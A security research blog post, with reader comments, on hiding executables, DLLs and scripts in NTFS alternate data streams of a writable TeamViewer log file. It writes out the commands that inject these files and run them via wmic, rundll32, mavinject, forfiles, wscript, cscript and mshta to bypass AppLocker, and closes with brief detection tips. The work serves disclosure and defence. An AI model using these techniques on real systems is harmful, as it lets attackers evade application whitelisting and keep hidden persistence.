Putting data in Alternate data streams and how to execute it

Part 2 of this research can be found here: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

I always had a fascination about ADS (Alternate data streams) and using it as part of a persistence. My first meeting with this as a persistence technique was when Matt Nelson aka @Enigma0x3 wrote a blogpost about using it: https://enigma0x3.net/2015/03/05/using-alternate-data-streams-to-persist-on-a-compromised-machine/

Quite recently I have started to play with AppLocker bypasses to create a tool and somehow I saw a shiny thing that I just had to look at. I did a normal check on my AppLocker test system using Accesschk.exe and discovered a writable file within the Teamviewer folder.
A log file to be exact. This lead me to the discovery that you can inject data into the alternate stream of that file, execute it and it will work as an AppLocker bypass.
I posted a tweet about this here: https://twitter.com/Oddvarmoe/status/951757732557852673

(Kudos to TeamViewer for looking into the issue from their side)

Here is a screenshot of the bypass I found:

So what I did was that I first injected the payload into the ADS of the log file using this command:

"type c:\temp\bginfo.exe > "C:\program files (x86)\Teamviewer\TeamViewer12_Logfile.log:bginfo.exe"

Then I used the following command to execute it:

"wmic process call create '"C:\program files (x86)\Teamviewer\TeamViewer12_Logfile.log:bginfo.exe"'

After I was done looking at this bypass I got even more curious. What sort of other processes are able to execute from ADS?

I did some Googling around ADS and found out that back in the days you could use:

start c:\folder\file.exe:ADSStream.exe

to launch executables from ADS.
This is now blocked.

After some testing, searching and playing around I figured out the following, are at least possible to execute from ADS (And I am sure that there are hundreds more as well):



type "C:\temp\messagebox64.dll" > "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll"

rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain




tasklist | findstr notepad

type C:\temp\AtomicTest.dll > ""C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

C:\windows\WinSxS\wow64_microsoft-Windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"



In my testing forfiles is not very fond of spaces in paths. So it seems you have to use the 8.3 foldername for some reason.

forfiles /P C:\windows\system32 /m notepad.exe /c "c:\Progra~2\Teamviewer\TeamViewer13_Logfile.log:bginfo2.exe"



type "C:\Program Files\test\wscripthello.vbs" > "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"

wscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"



cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:wscripts.vbs"



type C:\temp\helloworld.hta > wscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"

mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"


I am pretty sure this is not everything that can execute from ADS. This is just some examples I found pretty fast while playing with it. My point with this post is to raise awareness of Alternate data streams. If you are not checking for malicious activity within ADS of your files/folders I suggest you start. Thats it.


Update 18.01.2018:
I added these methods to a GIST found here: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Will try to keep it updated when I discover new methods.

I was also asked a lot about how to detect these alternate data streams. There are several utilities to view ADS.

Dir /r c:\fileorfolder


Sysmon also offers some monitoring of ADS AFAIK.

There are also some PowerShell scripts that can be used.



Update 29.08.2018:
Another great resource on ADS written by Marc Ochsenmeier can be found here: https://winitor.com/pdf/NtfsAlternateDataStreams.pdf

14 thoughts on “Putting data in Alternate data streams and how to execute it

    1. There is no such thing that disables ADS. What I would recommend is to try to monitor your systems for insertion or presence of ADS data in your files.
      Sysmon (free util from MS) has the option to log this.


  1. the first example you have is hiding an executable file in an ADS, and then executing it through WMIC, but whenever I tried this on my own machine, I noticed that nothing actually happened. I’d get the same message you got, where it said it got a return value of 9, but nothing would actually start. I don’t know if there’s something I missed, so please let me know. I want to be able to replicate this, but until I can, I’m not gonna panic


    1. AFAIK there has been some changes to Windows and WMIC. I think they may have stopped this way of executing. I will check to verify.


  2. are you sure that your hta from ADS is your hello world HTA? i mean, mshta can open empty template if path to hta file is incorrect. i tried to open hta with text through ads and it opens only empty page. so maybe mshta doesnt really open from ads? what you think about it?


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